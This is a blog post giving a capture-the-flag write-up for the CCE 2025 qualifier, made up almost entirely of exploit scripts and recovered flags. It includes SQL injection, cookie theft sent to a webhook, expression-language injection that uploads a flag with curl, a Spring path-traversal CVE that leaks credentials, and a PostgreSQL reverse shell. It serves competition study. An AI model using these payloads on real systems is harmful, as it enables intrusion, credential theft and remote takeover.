Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

CCE 2025 Qual

CCE 2025 Qual

대회 일정

2025-08-16 09:00 ~ 2024-08-16 18:00

대회 후기

Writeup

Photo Editing

Exploit Code


Flag

cce2025{d4a146967dba7b62351d1669bbe56e21d6d9f1ac5a4820d7b5f26fc01bea0eac13859f206291512771f6ce8fc3246f97e6ecf3}

jsboard

app.js

const express = require("express");
const { spawn } = require("child_process");
const path = require("path");
const { Parser } = require("node-sql-parser");

const app = express();
const PORT = process.env.PORT || 3000;

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, "../public")));

app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));

const dbConfig = {
  host: process.env.DB_HOST || "mysql",
  user: process.env.DB_USER || "[**REDACTED**]",
  password: process.env.DB_PASSWORD || "[**REDACTED**]",
  database: process.env.DB_NAME || "board_db",
  port: process.env.DB_PORT || 3306,
};

const parser = new Parser();

function executeQuery(query) {
  return new Promise((resolve, reject) => {
    const args = [
      `-h${dbConfig.host}`,
      `-P${dbConfig.port}`,
      `-u${dbConfig.user}`,
      `-p${dbConfig.password}`,
      dbConfig.database,
      "-e",
      query,
      "--batch",
      "--ssl=0",
    ];

    const mysqlProcess = spawn("mariadb", args);

    let stdout = "";
    let stderr = "";

    mysqlProcess.stdout.on("data", (data) => {
      stdout += data.toString();
    });

    mysqlProcess.stderr.on("data", (data) => {
      stderr += data.toString();
    });

    mysqlProcess.on("close", (code) => {
      if (code !== 0) {
        console.error("MySQL execution error:", stderr);
        reject(new Error(stderr || "MySQL execution failed"));
        return;
      }

      if (stderr) {
        console.error("MySQL stderr:", stderr);
        reject(new Error(stderr));
        return;
      }

      console.log(stdout);
      const lines = stdout.trim().split("\n");
      if (lines.length <= 1) {
        resolve([]);
        return;
      }

      const headers = lines[0].split("\t");
      const results = [];

      for (let i = 1; i < lines.length; i++) {
        const values = lines[i].split("\t");
        const row = {};
        headers.forEach((header, index) => {
          row[header] = values[index];
        });
        results.push(row);
      }

      resolve(results);
    });

    mysqlProcess.on("error", (error) => {
      console.error("Process error:", error);
      reject(error);
    });
  });
}

app.get("/", (req, res) => {
  const column = req.query.column || "created_at";
  let direction = req.query.direction || "DESC";

  if (direction !== "ASC" && direction !== "DESC") {
    direction = "DESC";
  }

  const query = `SELECT id, title, author, created_at FROM posts ORDER BY ${column} ${direction}`;

  if (query.includes("!")) {
    return res.status(400).render("error", { message: "Invalid query." });
  }

  try {
    const ast = parser.astify(query);

    if (typeof ast !== "object") {
      throw new Error("Invalid query.");
    }

    if (!ast || ast.type !== "select") {
      throw new Error("Invalid query.");
    }

    const allowedAstKeys = [
      "with",
      "type",
      "options",
      "distinct",
      "columns",
      "into",
      "from",
      "where",
      "groupby",
      "having",
      "orderby",
      "limit",
      "locking_read",
      "window",
      "collate",
    ];
    const astKeys = Object.keys(ast);
    for (const key of astKeys) {
      if (!allowedAstKeys.includes(key)) {
        throw new Error("Invalid query.");
      }
    }

    const allowedColumns = ["id", "title", "author", "created_at"];
    const selectedColumns = ast.columns.map((col) => col.expr.column);

    for (const col of selectedColumns) {
      if (!allowedColumns.includes(col)) {
        throw new Error("Invalid query.");
      }
    }

    if (ast.from && ast.from.length > 0) {
      const tableName = ast.from[0].table;
      if (tableName !== "posts") {
        throw new Error("Invalid query.");
      }
    }

    if (ast.orderby && ast.orderby.length > 0) {
      for (const order of ast.orderby) {
        if (order.expr.type != "column_ref") {
          throw new Error("Invalid query.");
        }
        if (order.expr.table !== null) {
          throw new Error("Invalid query.");
        }
        if (order.expr.collate !== null) {
          throw new Error("Invalid query.");
        }
        if (order.type !== "ASC" && order.type !== "DESC") {
          throw new Error("Invalid query.");
        }

        const allowedKeys = ["expr", "type"];
        const orderKeys = Object.keys(order);
        for (const key of orderKeys) {
          if (!allowedKeys.includes(key)) {
            throw new Error("Invalid query.");
          }
        }

        const allowedExprKeys = ["type", "table", "column", "collate"];
        const exprKeys = Object.keys(order.expr);
        for (const key of exprKeys) {
          if (!allowedExprKeys.includes(key)) {
            throw new Error("Invalid query.");
          }
        }
      }
    }
    if (ast.orderby && ast.orderby.length !== 1) {
      throw new Error("Invalid query.");
    }
    if (
      ast.with !== null ||
      ast.options !== null ||
      ast.distinct !== null ||
      ast.where !== null ||
      ast.groupby !== null ||
      ast.having !== null ||
      ast.limit !== null ||
      ast.locking_read !== null ||
      ast.window !== null ||
      ast.collate !== null
    ) {
      throw new Error("Invalid query.");
    }
    if (ast.into.position !== null) {
      throw new Error("Invalid query.");
    }

    if (ast.into) {
      const allowedIntoKeys = ["position"];
      const intoKeys = Object.keys(ast.into);
      for (const key of intoKeys) {
        if (!allowedIntoKeys.includes(key)) {
          throw new Error("Invalid query.");
        }
      }
    }
  } catch (error) {
    console.error("SQL parsing error:", error.message);
    return res.status(400).render("error", { message: error.message });
  }

  executeQuery(query)
    .then((rows) => {
      res.render("index", {
        posts: rows,
        currentColumn: column,
        currentDirection: direction,
      });
    })
    .catch((error) => {
      console.error("Database error:", error);
      return res
        .status(500)
        .render("error", { message: "Server error occurred." });
    });
});

Exploit Code

import requests
import re

URL = "http://3.34.254.202"

column = "created_at ASC--; select flag from flag--"
# /*/*/`*/if(ascii(substr((select flag from flag),1,1))>63,sleep(0.2),1)%23`

r = requests.get(
    f"{URL}/?column={column}&direction=DESC"
)
print(r.status_code)

flag_extract_pattern = "cce2025{.*}"
flag = re.findall(flag_extract_pattern, r.text)[0].strip()
print(f"FLAG: {flag}")

Flag

cce2025{5e1ce3d915a4b59c3de715572da7cb4d}

Memopad

Exploit Code

9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af
location.href="https://webhook.site/6aa26b59-2090-4d7f-9996-c4ea27bf53ef/?x="+document.cookie;

6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1
<script src="/api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af&x=x.js"></script>

GET /api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close

GET /api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1 HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close

http://web/api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1

Flag

cce2025{4bb895b6f10b34628d1d31d97acb}

Extract Service

Exploit Code

from requests import Session
import zipfile
import random
import os
import re

URL = "http://3.36.12.181"
SERVER_IP = "54.180.80.1"
SERVER_PORT = "8080"

s = Session()

data = {
    "email": f"test{random.randint(10000,99999)}@gmail.com",
    "password": f"test{random.randint(10000,99999)}",
    "name": f"test{random.randint(10000,99999)}"
}

# Register
r = s.post(
    f"{URL}/auth/register",
    data=data,
    allow_redirects=False
)
print(r.status_code)
print(r.headers)

# Login
if "success" in r.headers.get("Location"):
    s.post(
        f"{URL}/auth/login",
        data={
            "email": data["email"],
            "password": data["password"]
        },
        allow_redirects=False
    )

# Zip Upload
filename = "exploit.zip"

if os.path.exists(filename):
    os.remove(filename)

try:
    with zipfile.ZipFile(f"./{filename}", mode="w") as zf:
        payload="${\"\".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -T"
        payload += "/"

        if SERVER_PORT == "80":
            payload += f"flag {SERVER_IP}')}}"
        else:
            payload += f"flag {SERVER_IP}:{SERVER_PORT}')}}"
        final_payload = f"1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/{payload}/"
        print(f"Payload: {final_payload}")
        print("Create Zip file!")
        zf.writestr(f"{final_payload}", '')

except Exception as e:
    print(e)

r = s.post(
    f"{URL}/storage/upload",
    files={
        "file": (filename, open(filename, "rb"), "application/zip")
    },
    allow_redirects=False
)

r = s.get(
    f"{URL}/auth/myinfo",
)
print(r.text)

uuid_extract_pattern = "[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}"
storage_id = re.findall(uuid_extract_pattern, r.text)[2].strip()
print(f"Storeage ID: {storage_id}")

r = s.get(
    f"{URL}/storage/unzip/{storage_id}",
    allow_redirects=False
)

print("Exploit Trigger!")

Flag

cce2025{353f1df0235ba7c3949322c4be3d98426b1778b79487cecbfd07dc73edb507e3f0002ea9248bfdfe8b90282528ac8a42391d959bf7e463211a7e8369}

Facility access reservation system

Exploit Code

import requests

URL = "http://16.184.32.150"

# CVE-2024-38816
r = requests.get(
    f"{URL}/static/img/%2e%2e/src/main/resources/application.yml"
)
print(r.status_code)
print(r.text)

"""
spring:
  application:
    name: entry-reservation-system

  datasource:
    url: jdbc:postgresql://0.0.0.0:5432/reservation_db
    username: reservation_user
    password: \!@#rEserV@ti0n_pAssw0rd
    driver-class-name: org.postgresql.Driver

...
"""
import psycopg2
conn = psycopg2.connect(
    host="16.184.32.150",
    dbname="reservation_db",
    user="reservation_user",
    password="!@#rEserV@ti0n_pAssw0rd",
    port=5432
)
cur = conn.cursor()
cur.execute("copy reservations TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/[server]/8888 0>&1\"'")
print(cur.fetchone())
conn.close()

Flag

cce2025{b7ded3b5d27a6aa3943e39b917a8854375ae6d7359b53a59c4ac39c24b57dae1db4563cc487973e52093f052bb1ee91c4ff53116afe91ad9}

Minitalk